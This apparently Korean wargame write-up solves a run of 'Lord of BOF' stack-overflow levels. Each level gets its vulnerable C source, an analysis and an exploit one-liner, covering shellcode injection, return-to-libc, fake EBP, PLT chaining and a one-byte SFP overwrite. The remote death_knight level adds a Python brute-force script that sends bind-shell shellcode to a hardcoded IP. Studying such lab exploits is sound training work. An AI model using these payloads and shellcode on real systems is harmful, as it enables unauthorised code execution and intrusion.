Lord of BOF - Challenge

ALL CLEAR!

 

 

 

 

Lord of BOF - Challenge Xavius -> Death_knight


[Summary]

1. 56행의 recv 함수를 이용하여 사용자의 입력 값을 40바이트의 buffer 배열에 입력함으로써 main 함수를 실행하기 전에 main 함수가 끝난 후 다시 돌아갈 수 있도록 EIP 레지스터 주소를 백업해놓은 값(RET)을 덮어씌울 수 있다. 

2. bind shellcode를 이용하여 프로그램 실행 권한의 쉘을 획득하고 최종적으로 flag를 획득한다.


[Sourcecode]

/*
        The Lord of the BOF : The Fellowship of the BOF
        - dark knight
        - remote BOF
*/

#include <stdio.h>
#include <stdlib.h> 
#include <errno.h> 
#include <string.h> 
#include <sys/types.h> 
#include <netinet/in.h> 
#include <sys/socket.h> 
#include <sys/wait.h> 
#include <dumpcode.h>

main()
{
	char buffer[40];

	int server_fd, client_fd;  
	struct sockaddr_in server_addr;   
	struct sockaddr_in client_addr; 
	int sin_size;

	if((server_fd = socket(AF_INET, SOCK_STREAM, 0)) == -1){
		perror("socket");
		exit(1);
	}

	server_addr.sin_family = AF_INET;        
	server_addr.sin_port = htons(6666);   
	server_addr.sin_addr.s_addr = INADDR_ANY; 
	bzero(&(server_addr.sin_zero), 8);   

	if(bind(server_fd, (struct sockaddr *)&server_addr, sizeof(struct sockaddr)) == -1){
		perror("bind");
		exit(1);
	}

	if(listen(server_fd, 10) == -1){
		perror("listen");
		exit(1);
	}
        
	while(1) {  
		sin_size = sizeof(struct sockaddr_in);
		if((client_fd = accept(server_fd, (struct sockaddr *)&client_addr, &sin_size)) == -1){
			perror("accept");
			continue;
		}
            
		if (!fork()){ 
			send(client_fd, "Death Knight : Not even death can save you from me!\n", 52, 0);
			send(client_fd, "You : ", 6, 0);
			recv(client_fd, buffer, 256, 0);
			close(client_fd);
			break;
		}
            
		close(client_fd);  
		while(waitpid(-1,NULL,WNOHANG) > 0);
	}
	close(server_fd);
}


[Analysis] 

sourcecode를 살펴보면 56행의 recv 함수에서 stack buffer overflow 취약점이 발생한다. 40바이트의 buffer 배열에 사용자가 입력한 값이 복사되는 과정에서 main 함수를 실행하기 전에 main 함수가 끝난 후 다시 돌아갈 수 있도록 EIP 레지스터 주소를 백업해놓은 값(RET)을 덮어씌울 수 있다. 마지막으로 main 함수의 마지막의 ret 명령을 수행하는 과정에서 아까 덮어씌워진 EIP 레지스터 주소(RET)를 다시 EIP 레지스터로 복원하여 실행하므로 최종적으로 프로그램의 실행흐름을 변조할 수 있다. 

스택 영역이 고정적이고 스택 영역에 실행 권한도 포함되어 있으므로 쉘 코드를 입력한 후 RET 주소를 0xbfffffff에서 0xbfff0000  까지 bruteforce 하는 스크립트를 작성하였다.

from socket import *
for i in range(0xFF, 0x00, -1):
        for j in range(0xFF, 0x00, -30):
		s = socket(AF_INET, SOCK_STREAM)
		s.connect(('192.168.0.104', 6666))
		s.send("A"*44+chr(j)+chr(i)+"\xff\xbf"+"\x90"*100+"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x66\xb3\x01\x51\x6a\x06\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\xb0\x66\xb3\x02\x52\x66\x68\x7a\x69\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\xb0\x66\xb3\x04\x6a\x01\x56\x89\xe1\xcd\x80\xb0\x66\xb3\x05\x52\x52\x56\x89\xe1\xcd\x80\x89\xc3\x31\xc9\xb1\x03\xfe\xc9\xb0\x3f\xcd\x80\x75\xf8\x31\xc0\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x52\x89\xe2\xb0\x0b\xcd\x80")
		#print s.recv(1024)
		s.close()


[Exploit]

Lord of BOF - Challenge Nightmare -> Xavius


[Summary]

1. 17행의 fgets 함수를 이용하여 argv[1]의 값을 40바이트의 buffer 배열에 입력함으로써 main 함수를 실행하기 전에 main 함수가 끝난 후 다시 돌아갈 수 있도록 EIP 레지스터 주소를 백업해놓은 값(RET)을 덮어씌울 수 있다. 

2. 프로그램 실행 권한의 쉘을 획득하여 flag를 획득한다.


[Sourcecode]

/*
        The Lord of the BOF : The Fellowship of the BOF
        - xavius
        - arg
*/

#include <stdio.h>
#include <stdlib.h>
#include <dumpcode.h>

main()
{
	char buffer[40];
	char *ret_addr;

	// overflow!
	fgets(buffer, 256, stdin);
	printf("%s\n", buffer);

	if(*(buffer+47) == '\xbf')
	{
		printf("stack retbayed you!\n");
		exit(0);
	}

	if(*(buffer+47) == '\x08')
	{
		printf("binary image retbayed you, too!!\n");
		exit(0);
	}

	// check if the ret_addr is library function or not
	memcpy(&ret_addr, buffer+44, 4);
	while(memcmp(ret_addr, "\x90\x90", 2) != 0)	// end point of function
	{
		if(*ret_addr == '\xc9'){		// leave
			if(*(ret_addr+1) == '\xc3'){	// ret
				printf("You cannot use library function!\n");
				exit(0);
			}
		}
		ret_addr++; 
	}

	// stack destroyer
	memset(buffer, 0, 44);
	memset(buffer+48, 0, 0xbfffffff - (int)(buffer+48));

	// LD_* eraser
	// 40 : extra space for memset function
	memset(buffer-3000, 0, 3000-40);
}


[Analysis] 

sourcecode를 살펴보면 17행의 fgets 함수에서 stack buffer overflow 취약점이 발생한다. buffer 배열 입력한 argv[1] 값이 복사되는 과정에서 main 함수를 실행하기 전에 main 함수가 끝난 후 다시 돌아갈 수 있도록 EIP 레지스터 주소를 백업해놓은 값(RET)을 덮어씌울 수 있다. 마지막으로 main 함수의 마지막의 ret 명령을 수행하는 과정에서 아까 덮어씌워진 EIP 레지스터 주소(RET)를 다시 EIP 레지스터로 복원하여 실행하므로 최종적으로 프로그램의 실행흐름을 변조할 수 있다. 

해당 문제에서는 RET에서 첫 글자에 \xbf와 \x08를 사용할 수 없게 되어 있다. 하지만 stdin의 임시 버퍼를 이용하여 메모리 영역에 포함된 argv[1] 의 값이 존재하므로 해당 값을 이용하여 쉘코드를 실행할 수 있다.


[Exploit]

(python -c 'from struct import *;p = lambda x : pack("<L", x);shellcode="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80";ret=p(0x40015060);print "A"*44+ret+"\x90"*100+shellcode'; cat) | ./xavius


Lord of BOF - Challenge Succubus -> Nightmare


[Summary]

1. 30행의 strcpy 함수를 이용하여 argv[1]의 값을 40바이트의 buffer 배열에 입력함으로써 main 함수를 실행하기 전에 main 함수가 끝난 후 다시 돌아갈 수 있도록 EIP 레지스터 주소를 백업해놓은 값(RET)을 덮어씌울 수 있다. 

2. argv[2]에 system+dummy+[&/bin/sh] 페이로드를 작성하고 argv[1]에서 strcpy 함수를 이용해 argv[2]를 RET+4 주소로 덮어씌운다.

3. 프로그램 실행 권한의 쉘을 획득하여 flag를 획득한다.


[Sourcecode]

/*
        The Lord of the BOF : The Fellowship of the BOF
        - nightmare
        - PLT
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <dumpcode.h>

main(int argc, char *argv[])
{
	char buffer[40];
	char *addr;

	if(argc < 2){
		printf("argv error\n");
		exit(0);
	}

	// check address
	addr = (char *)&strcpy;
	if(memcmp(argv[1]+44, &addr, 4) != 0){
		printf("You must fall in love with strcpy()\n");
		exit(0);
	}

	// overflow!
	strcpy(buffer, argv[1]);
	printf("%s\n", buffer);

	// dangerous waterfall
	memset(buffer+40+8, 'A', 4);
}


[Analysis] 

sourcecode를 살펴보면 30행의 strcpy 함수에서 stack buffer overflow 취약점이 발생한다. buffer 배열 입력한 argv[1] 값이 복사되는 과정에서 main 함수를 실행하기 전에 main 함수가 끝난 후 다시 돌아갈 수 있도록 EIP 레지스터 주소를 백업해놓은 값(RET)을 덮어씌울 수 있다. 마지막으로 main 함수의 마지막의 ret 명령을 수행하는 과정에서 아까 덮어씌워진 EIP 레지스터 주소(RET)를 다시 EIP 레지스터로 복원하여 실행하므로 최종적으로 프로그램의 실행흐름을 변조할 수 있다. 

해당 문제에서는 RET에서 strcpy 함수를 사용할 수 밖에 없게 되어 있다. 또한 Chaining을 할 수 없게 memset 함수를 이용하여 RET+4의 값을 0x41414141로 수정해버린다. 따라서 argv[2]에 system+dummy+[&/bin/sh] 페이로드를 작성하고 argv[1]에서 strcpy 함수를 이용해 argv[2]를 RET+4 주소로 덮어씌우면 문제를 해결할 수 있다.


[Exploit]

./nightmare "$(python -c 'from struct import *;p = lambda x : pack("<L", x);strcpy=p(0x8048410);dest=p(0xbffffc60);src=p(0xbffffdf7);print "A"*44+strcpy+"BBBB"+dest+src')" "$(python -c 'from struct import *;p = lambda x : pack("<L", x);system_func=p(0x40058ae0);binsh=p(0x400fbff9);print system_func+"AAAA"+binsh')"

Lord of BOF - Challenge Zombie_Assassion -> Succubus


[Summary]

1. 82행의 strcpy 함수를 이용하여 argv[1]의 값을 40바이트의 buffer 배열에 입력함으로써 main 함수를 실행하기 전에 main 함수가 끝난 후 다시 돌아갈 수 있도록 EIP 레지스터 주소를 백업해놓은 값(RET)을 덮어씌울 수 있다. 

2. MO 함수에 system 명령이 포함되어 있으므로 해당 함수를 이용하여 /bin/sh를 실행한다.

3. 프로그램 실행 권한의 쉘을 획득하여 flag를 획득한다.


[Sourcecode]

/*
        The Lord of the BOF : The Fellowship of the BOF
        - succubus
        - calling functions continuously 
*/

#include <stdio.h>
#include <stdlib.h>
#include <dumpcode.h>

// the inspector
int check = 0;

void MO(char *cmd)
{
	if(check != 4)
		exit(0);

	printf("welcome to the MO!\n");

	// olleh!
	system(cmd);
}

void YUT(void)
{
	if(check != 3)
		exit(0);

	printf("welcome to the YUT!\n");
	check = 4;
}

void GUL(void)
{
	if(check != 2)
		exit(0);

	printf("welcome to the GUL!\n");
	check = 3;
}

void GYE(void)
{
	if(check != 1)
		exit(0);

	printf("welcome to the GYE!\n");
	check = 2;
}

void DO(void)
{
	printf("welcome to the DO!\n");
	check = 1;
}

main(int argc, char *argv[])
{
	char buffer[40];
	char *addr;

	if(argc < 2){
		printf("argv error\n");
		exit(0);
	}

	// you cannot use library
	if(strchr(argv[1], '\x40')){
		printf("You cannot use library\n");
		exit(0);
	}

	// check address
	addr = (char *)&DO;
	if(memcmp(argv[1]+44, &addr, 4) != 0){
		printf("You must fall in love with DO\n");
		exit(0);
	}

	// overflow!
	strcpy(buffer, argv[1]);
	printf("%s\n", buffer);

	// stack destroyer
	// 100 : extra space for copied argv[1]
	memset(buffer, 0, 44);
	memset(buffer+48+100, 0, 0xbfffffff - (int)(buffer+48+100));

	// LD_* eraser
	// 40 : extra space for memset function
	memset(buffer-3000, 0, 3000-40);
}


[Analysis] 

sourcecode를 살펴보면 32행의 strncpy 함수에서 stack buffer overflow 취약점이 발생한다. buffer 배열 입력한 argv[1] 값이 복사되는 과정에서 main 함수를 실행하기 전에 main 함수가 끝난 후 다시 돌아갈 수 있도록 EIP 레지스터 주소를 백업해놓은 값(RET)을 덮어씌울 수 있다. 마지막으로 main 함수의 마지막의 ret 명령을 수행하는 과정에서 아까 덮어씌워진 EIP 레지스터 주소(RET)를 다시 EIP 레지스터로 복원하여 실행하므로 최종적으로 프로그램의 실행흐름을 변조할 수 있다. 

해당 문제에서는 69행의 if문에서 argv 값에 \x40를 사용할 수 없도록 제한하여 라이브러리 영역을 사용하지 못하도록 하고 있다. 스택의 구조가 buffer 배열이 40 byte, SFP가 4 byte 이므로 총 44 바이트를 덮어씌우고 그 뒤에 임의 값을 입력하게 되면 RET를 변조할 수 있다.  

RET를 DO, GYE, GUL, YUT, MO 순으로 호출하기 위해 gdb를 이용하여 해당 함수의 주소를 출력한다.  

스택의 /bin/sh 문자열 주소를 알지 못하므로 일부러 MO 함수를 실행하지 않고 Segmentation fault가 발생하도록 유도한다. 이후 core 파일을 통해 /bin/sh 문자열 주소를 알아낸다. DO, GYE, GUL, YUT, MO 순으로 함수 호출 후 MO 함수에서 인자로 /bin/sh 값을 입력하면 /bin/sh가 실행될 것 이다.


[Exploit]

./succubus "$(python -c 'from struct import *;p = lambda x : pack("<L", x);binsh=p(0xbffffc58);DO=p(0x80487ec);GYE=p(0x80487bc);GUL=p(0x804878c);YUT=p(0x804875c);MO=p(0x8048724);print "A"*44+DO+GYE+GUL+YUT+MO+"CCCC"+binsh+"/bin/sh"')" 

Lord of BOF - Challenge Assasin -> Zombie_Assassion


[Summary]

1. 32행의 strncpy 함수를 이용하여 argv[1]의 값을 40바이트의 buffer 배열에 입력함으로써 main 함수를 실행하기 전에 main 함수가 끝난 후 다시 돌아갈 수 있도록 EIP 레지스터 주소를 백업해놓은 값(RET)을 덮어씌울 수 있다. 

2. RET에 스택과 라이브러리 영역을 사용할 수 없도록 필터링을 걸어두었으므로 main 함수 내부에 존재하는 영역을 통해 필터링을 우회한다. 

3. Fake EBP 기법을 이용하기 위해 leave를 한번 더 실행시킨 후 EIP 레지스터를 변조한다. 이후 스택에 존재하는 쉘코드 주소로 EIP 레지스터 값을 변조한다.

4. 프로그램 실행 권한의 쉘을 획득하여 flag를 획득한다.


[Sourcecode]

/*
        The Lord of the BOF : The Fellowship of the BOF
        - zombie_assassin
        - FEBP
*/

#include <stdio.h>
#include <stdlib.h>

main(int argc, char *argv[])
{
	char buffer[40];

	if(argc < 2){
		printf("argv error\n");
		exit(0);
	}

	if(argv[1][47] == '\xbf')
	{
		printf("stack retbayed you!\n");
		exit(0);
	}

	if(argv[1][47] == '\x40')
	{
		printf("library retbayed you, too!!\n");
		exit(0);
	}

	// strncpy instead of strcpy!
	strncpy(buffer, argv[1], 48); 
	printf("%s\n", buffer);
}


[Analysis] 

sourcecode를 살펴보면 32행의 strncpy 함수에서 stack buffer overflow 취약점이 발생한다. buffer 배열 입력한 argv[1] 값이 복사되는 과정에서 main 함수를 실행하기 전에 main 함수가 끝난 후 다시 돌아갈 수 있도록 EIP 레지스터 주소를 백업해놓은 값(RET)을 덮어씌울 수 있다. 마지막으로 main 함수의 마지막의 ret 명령을 수행하는 과정에서 아까 덮어씌워진 EIP 레지스터 주소(RET)를 다시 EIP 레지스터로 복원하여 실행하므로 최종적으로 프로그램의 실행흐름을 변조할 수 있다. 

해당 문제에서는 19행과 25행의 if문에서 argv[1][47]의 값을 \xbf와 \x40를 사용할 수 없도록 제한하여 스택 영역과 라이브러리 영역을 사용하지 못하도록 하고 있다. 스택의 구조가 buffer 배열이 40 byte, SFP가 4 byte 이므로 총 44 바이트를 덮어씌우고 그 뒤에 임의 값을 입력하게 되면 RET를 변조할 수 있다.  

leave를 두번 실행하게 되면 첫번쨰 실행 시 EBP 레지스터에 있던 값이 두번째 실행시 ESP 레지스터로 이동하고, ret 명령을 실행함으로써 스택 가장 위에 있는 값이 EIP 레지스터에 입력된다. 이와 같은 Fake EBP 기법을 이용하여 처음 SFP에 입력된 주소+4에 있는 값이 EIP 레지스터에 입력된다. 따라서 해당 값을 스택에 존재하는 쉘코드 주소로 변경 후 실행하게 되면 쉘코드를 실행할 수 있다.  


[Exploit]

./zombie_assassin "$(python -c 'from struct import *;p = lambda x : pack("<L", x);shellcode="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80";leave=p(0x80484df);argv1=p(0xbffffdc7);sc_addr=p(0xbffffdc7+8);print "AAAA"+sc_addr+"\x90"*(40-8-len(shellcode))+shellcode+argv1+leave')" 

Lord of BOF - Challenge Giant -> Assasin


[Summary]

1. 31행의 strcpy 함수를 이용하여 argv[1]의 값을 40바이트의 buffer 배열에 입력함으로써 main 함수를 실행하기 전에 main 함수가 끝난 후 다시 돌아갈 수 있도록 EIP 레지스터 주소를 백업해놓은 값(RET)을 덮어씌울 수 있다. 

2. RET에 스택과 라이브러리 영역을 사용할 수 없도록 필터링을 걸어두었으므로 main 함수 내부에 존재하는 영역을 통해 필터링을 우회한다. 

3. argv[1]에 system 함수 주소와 /bin/sh 등의 인자에 들어갈 주소를 입력한 후 system 함수에 여러 인자를 넣고 실행시킨다.

4. 프로그램 실행 권한의 쉘을 획득하여 flag를 획득한다.


[Sourcecode]

/*
        The Lord of the BOF : The Fellowship of the BOF
        - assassin
        - no stack, no RTL
*/

#include <stdio.h>
#include <stdlib.h>

main(int argc, char *argv[])
{
	char buffer[40];

	if(argc < 2){
		printf("argv error\n");
		exit(0);
	}

	if(argv[1][47] == '\xbf')
	{
		printf("stack retbayed you!\n");
		exit(0);
	}

	if(argv[1][47] == '\x40')
	{
		printf("library retbayed you, too!!\n");
		exit(0);
	}

	strcpy(buffer, argv[1]); 
	printf("%s\n", buffer);

	// buffer+sfp hunter
	memset(buffer, 0, 44);
}


[Analysis] 

sourcecode를 살펴보면 31행의 strcpy 함수에서 stack buffer overflow 취약점이 발생한다. buffer 배열 입력한 argv[1] 값이 복사되는 과정에서 main 함수를 실행하기 전에 main 함수가 끝난 후 다시 돌아갈 수 있도록 EIP 레지스터 주소를 백업해놓은 값(RET)을 덮어씌울 수 있다. 마지막으로 main 함수의 마지막의 ret 명령을 수행하는 과정에서 아까 덮어씌워진 EIP 레지스터 주소(RET)를 다시 EIP 레지스터로 복원하여 실행하므로 최종적으로 프로그램의 실행흐름을 변조할 수 있다. 

해당 문제에서는 19행과 25행의 if문에서 argv[1][47]의 값을 \xbf와 \x40를 사용할 수 없도록 제한하여 스택 영역과 라이브러리 영역을 사용하지 못하도록 하고 있다. 스택의 구조가 buffer 배열이 40 byte, SFP가 4 byte 이므로 총 44 바이트를 덮어씌우고 그 뒤에 임의 값을 입력하게 되면 RET를 변조할 수 있다.  먼저 RET Sled를 통해 필터링을 우회하고 system 함수를 실행하여 /bin/sh를 실행하여야 하므로 페이로드는 [RET] + [system] + [dummy] + [/bin/sh]가 되어야 한다.

RET 주소와 system 함수 주소, 그리고 라이브러리 영역에 존재하는 /bin/sh 문자열의 주소를 획득 하였으므로 이를 이용하여 필터링을 우회하고 system 함수에 /bin/sh 문자열을 인자로 넘겨 실행할 수 있다.


[Exploit]

./assassin "$(python -c 'from struct import *;p = lambda x : pack("<L", x);ret=p(0x804851e);system=p(0x40058ae0);binsh=p(0x400fbff9);print "A"*44+ret+system+"BBBB"+binsh')"


Lord of BOF - Challenge Bugbear -> Giant


[Summary]

1. 44행의 strcpy 함수를 이용하여 argv[1]의 값을 40바이트의 buffer 배열에 입력함으로써 main 함수를 실행하기 전에 main 함수가 끝난 후 다시 돌아갈 수 있도록 EIP 레지스터 주소를 백업해놓은 값(RET)을 덮어씌울 수 있다. 

2. argv[1]에 execve 함수 주소와 /bin/sh 등의 인자에 들어갈 주소를 입력한 후 execve 함수에 여러 인자를 넣고 실행시킨다.

3. 프로그램 실행 권한의 쉘을 획득하여 flag를 획득한다.


[Sourcecode]

/*
        The Lord of the BOF : The Fellowship of the BOF
        - giant
        - RTL2
*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

main(int argc, char *argv[])
{
	char buffer[40];
	FILE *fp;
	char *lib_addr, *execve_offset, *execve_addr;
	char *ret;

	if(argc < 2){
		printf("argv error\n");
		exit(0);
	}

	// gain address of execve
	fp = popen("/usr/bin/ldd /home/giant/assassin | /bin/grep libc | /bin/awk '{print $4}'", "r");
	fgets(buffer, 255, fp);
	sscanf(buffer, "(%x)", &lib_addr);
	fclose(fp);

	fp = popen("/usr/bin/nm /lib/libc.so.6 | /bin/grep __execve | /bin/awk '{print $1}'", "r");
	fgets(buffer, 255, fp);
	sscanf(buffer, "%x", &execve_offset);
	fclose(fp);

	execve_addr = lib_addr + (int)execve_offset;
	// end

	memcpy(&ret, &(argv[1][44]), 4);
	if(ret != execve_addr)
	{
		printf("You must use execve!\n");
		exit(0);
	}

	strcpy(buffer, argv[1]); 
	printf("%s\n", buffer);
}


[Analysis] 

sourcecode를 살펴보면 44행의 strcpy 함수에서 stack buffer overflow 취약점이 발생한다. buffer 배열 입력한 argv[1] 값이 복사되는 과정에서 main 함수를 실행하기 전에 main 함수가 끝난 후 다시 돌아갈 수 있도록 EIP 레지스터 주소를 백업해놓은 값(RET)을 덮어씌울 수 있다. 마지막으로 main 함수의 마지막의 ret 명령을 수행하는 과정에서 아까 덮어씌워진 EIP 레지스터 주소(RET)를 다시 EIP 레지스터로 복원하여 실행하므로 최종적으로 프로그램의 실행흐름을 변조할 수 있다. 

해당 문제에서는 20행의 if문에서 argv[1][47]의 값을 \xbf를 사용할 수 없도록 제한하여 스택을 사용하지 못하도록 하고 있다. 스택의 구조가 buffer 배열이 40 byte, SFP가 4 byte 이므로 총 44 바이트를 덮어씌우고 그 뒤에 임의 값을 입력하게 되면 RET를 변조할 수 있다.  먼저 execve 함수를 실행하여야 하므로 페이로드는 [execve] + [dummy] + [/bin/sh] + [argv] + [envp] 가 되어야 한다.

먼저 gdb를 이용하여 execve 함수 주소를 먼저 알아낸다. 그리고 라이브러리 영역 내부에 /bin/sh가 포함되어 있으므로 findsh.c를 만들어 라이브러리 영역 안에 존재하는 /bin/sh 문자열의 주소를 찾는다.  

이후 argv로 사용될 값을 찾는다.  argv는 문자열이 저장되어 있는 주소와 null 값이 들어가 있으면, argv[0]만 입력된 것으로 처리된다. 따라서 가장 적절한 0xbffffd38의 값을 이용하여 진행한다.

envp의 값은 무조건 null 값이 포함되는 0xbffffffc 주소로 사용한다. 이렇게 모은 인자들을 이용하여  [execve] + [dummy] + [/bin/sh] + [argv] + [envp] 페이로드를 구성하고 이를 이용하여 execve 함수를 실행할 수 있다.


[Exploit]

./giant "$(python -c 'from struct import *;p = lambda x : pack("<L", x);execve_func=p(0x400a9d48);binsh=p(0x400fbff9);argv=p(0xbffffd38);null=p(0xbffffffc);print "A"*44+execve_func+"BBBB"+binsh+argv+null')"


Lord of BOF - Challenge Darkknight -> Bugbear


[Summary]

1. 26행의 strcpy 함수를 이용하여 argv[1]의 값을 40바이트의 buffer 배열에 입력함으로써 main 함수를 실행하기 전에 main 함수가 끝난 후 다시 돌아갈 수 있도록 EIP 레지스터 주소를 백업해놓은 값(RET)을 덮어씌울 수 있다. 

2. argv[1]에 system 함수 주소와 /bin/sh의 주소를 입력한 후 system 함수에 /bin/sh 인자를 넣고 실행시킨다.

3. 프로그램 실행 권한의 쉘을 획득하여 flag를 획득한다.


[Sourcecode]

/*
        The Lord of the BOF : The Fellowship of the BOF
        - bugbear
        - RTL1
*/

#include <stdio.h>
#include <stdlib.h>

main(int argc, char *argv[])
{
	char buffer[40];
	int i;

	if(argc < 2){
		printf("argv error\n");
		exit(0);
	}

	if(argv[1][47] == '\xbf')
	{
		printf("stack betrayed you!!\n");
		exit(0);
	}

	strcpy(buffer, argv[1]); 
	printf("%s\n", buffer);
}


[Analysis] 

sourcecode를 살펴보면 26행의 strcpy 함수에서 stack buffer overflow 취약점이 발생한다. buffer 배열 입력한 argv[1] 값이 복사되는 과정에서 main 함수를 실행하기 전에 main 함수가 끝난 후 다시 돌아갈 수 있도록 EIP 레지스터 주소를 백업해놓은 값(RET)을 덮어씌울 수 있다. 마지막으로 main 함수의 마지막의 ret 명령을 수행하는 과정에서 아까 덮어씌워진 EIP 레지스터 주소(RET)를 다시 EIP 레지스터로 복원하여 실행하므로 최종적으로 프로그램의 실행흐름을 변조할 수 있다. 

해당 문제에서는 20행의 if문에서 argv[1][47]의 값을 \xbf를 사용할 수 없도록 제한하여 스택을 사용하지 못하도록 하고 있다. 스택의 구조가 buffer 배열이 40 byte, SFP가 4 byte 이므로 총 44 바이트를 덮어씌우고 그 뒤에 임의 값을 입력하게 되면 RET를 변조할 수 있다. 

int main(){
	long shell;
	shell = 0x40058ae0;
	while(memcmp((void*)shell, "/bin/sh", 8)) shell++;
	printf("/bin/sh is at 0x%x\n", shell);
}

 gdb를 이용하여 system 함수의 주소를 알아낸다.  이후 이를 이용하여 findsh.c를 만들어 라이브러리 영역 안에 존재하는 /bin/sh 문자열을 찾는다. system 함수의 주소와  /bin/sh 문자열의 주소를 알아내었으므로, 이 둘을 이용하여 system 함수에 /bin/sh 문자열을 인자로 넘겨 실행할 수 있다.


[Exploit]

./bugbear "$(python -c 'system="\xe0\x8a\x05\x40";binsh="\xf9\xbf\x0f\x40";print "A"*44+system+"BBBB"+binsh')"


Lord of BOF - Challenge Golem -> Darkknight


[Summary]

1. 13행의 strncpy 함수를 이용하여 41 바이트의 값을 40바이트의 buffer 배열에 입력함으로써 problem_child 함수가 실행되기 전의 ebp 레지스터 주소인 SFP를 변조할 수 있다. 

2. leave, ret 명령을 실행하게 되면 처음의 SFP 값이 ebp 레지스터에 입력된다. 또한 두번째 leave명령 실행시에 esp 레지스터에 입력 되고,  ret 명령 실행 시 결과적으로 처음의 SFP 값에서 4 오프셋을 더한 만큼에 있는 값을 eip 레지스터에 넣고 실행한다. 따라서 결과적으로 처음의 SFP 값을 변조할 수 있으면 두번째 실행되는 ret 명령에서 eip 레지스터를 변조할 수 있게 된다.

3. argv[1]에 NOP과 shellcode를 입력시킨 후 EIP 레지스터를 NOP 부분의 주소로 변조하여 shellcode를 실행시킨다.

4. 프로그램 실행 권한의 쉘을 획득하여 flag를 획득한다.


[Sourcecode]

/*
        The Lord of the BOF : The Fellowship of the BOF
        - darkknight
        - FPO
*/

#include <stdio.h>
#include <stdlib.h>

void problem_child(char *src)
{
	char buffer[40];
	strncpy(buffer, src, 41);
	printf("%s\n", buffer);
}

main(int argc, char *argv[])
{
	if(argc<2){
		printf("argv error\n");
		exit(0);
	}

	problem_child(argv[1]);
}


[Analysis]

sourcecode를 살펴보면 13행의 strncpy 함수에서 stack buffer overflow 취약점이 발생한다. 이를 이용하여 buffer 다음의 SFP를 1byte 덮어 씌울 수 있는데 이를 이용하면 EIP 레지스터 주소를 변조할 수 있다. 

함수를 종료할 때 leave, ret 명령을 수행하는데, 이를 어셈블리어로 변경하면 leave는 mov esp, ebp, pop ebp 이고, ret는 pop eip, jmp eip이다. 이는 함수를 실행하기 전의 실행되고 있는 주소로 이동하기 위해 실행하는 명령이다. 하지만 leave, ret을 두 번 연속으로 실행하게 되면 EIP 레지스터를 변조할 수 있다. 일단 leave, ret 명령에 break pointer를 걸고 gdb를 실행한다.

 leave, ret을 두 번 연속으로 실행하게 되면, 첫 번째의 leave에서 mov esp, ebp, pop ebp를 실행하면서 EBP 레지스터를 변조할 수 있다. 두번 째의 leave에서는 mov esp, ebp를 실행하므로 변조된 EBP 레지스터가 다시 ESP 레지스터로 이동하게 되며, ret 명령에서 pop eip를 하게 되면 ESP 주소에서 4바이트를 가져와 EIP 레지스터에 넣고 실행하므로 결론적으로 SFP를 1바이트 조작할 수 있다면, EIP 레지스터를 조작할 수 있게 된다.


[Exploit]

./darkknight "$(python -c 'shellcode="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80";print "AAAA"+"\x70\xfc\xff\xbf"+"\x90"*(32-len(shellcode))+shellcode+"\x64"')"


+ Recent posts